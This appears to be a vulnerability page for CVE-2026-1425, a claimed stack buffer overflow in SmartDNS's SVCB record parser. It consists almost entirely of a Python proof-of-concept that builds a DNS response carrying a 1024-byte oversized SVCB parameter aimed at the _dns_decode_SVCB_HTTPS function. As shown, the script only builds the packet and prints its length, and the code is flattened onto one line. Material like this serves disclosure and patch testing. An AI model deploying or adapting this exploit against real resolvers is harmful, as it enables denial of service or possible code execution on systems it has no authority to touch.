CVE-2026-1425 SmartDNS SVCB Record Parser栈缓冲区溢出漏洞

# CVE-2026-1425 PoC - SmartDNS SVCB Record Parser Buffer Overflow # This PoC demonstrates the vulnerability in SmartDNS DNS record parsing # Note: This is for educational and authorized testing purposes only import struct import socket def create_malicious_svcb_record(): """Construct a malicious SVCB record with oversized data""" # SVCB record type number record_type = 64 # SVCB # Construct malformed SVCB record data # Target domain name length field target_name = b'\x00' # reserved # SVCB parameters with oversized data to trigger overflow # This exceeds the buffer size in _dns_decode_SVCB_HTTPS svcb_params = b'\x00\x01' # parameter key (mandatory) # Large value that will overflow the stack buffer oversized_data = b'A' * 1024 # Exceeds expected buffer size svcb_params += struct.pack('>H', len(oversized_data)) + oversized_data svcb_record_data = target_name + svcb_params return svcb_record_data def send_malicious_dns_response(): """Send malicious DNS response to trigger vulnerability""" # DNS response structure transaction_id = b'\x00\x01' flags = b'\x81\x80' # Standard response questions = b'\x00\x01' answer_rrs = b'\x00\x01' authority_rrs = b'\x00\x00' additional_rrs = b'\x00\x00' # Query section query_name = b'\x07example\x03com\x00' query_type = struct.pack('>H', 64) # SVCB record type query_class = b'\x00\x01' # IN class # Answer section with malicious SVCB record answer_name = query_name answer_type = query_type answer_class = query_class answer_ttl = b'\x00\x00\x00\x00' malicious_data = create_malicious_svcb_record() answer_rdlength = struct.pack('>H', len(malicious_data)) answer_rdata = malicious_data dns_response = (transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs + query_name + query_type + query_class + answer_name + answer_type + answer_class + answer_ttl + answer_rdlength + answer_rdata) return dns_response # Usage example if __name__ == "__main__": print("CVE-2026-1425 SmartDNS SVCB Parser Overflow PoC") print("Target: SmartDNS <= 47.1") print("Function: _dns_decode_SVCB_HTTPS in src/dns.c") print("\nConstructing malicious DNS response...") malicious_response = send_malicious_dns_response() print(f"Malicious response length: {len(malicious_response)} bytes") print("\nNote: This PoC requires network access to target SmartDNS server")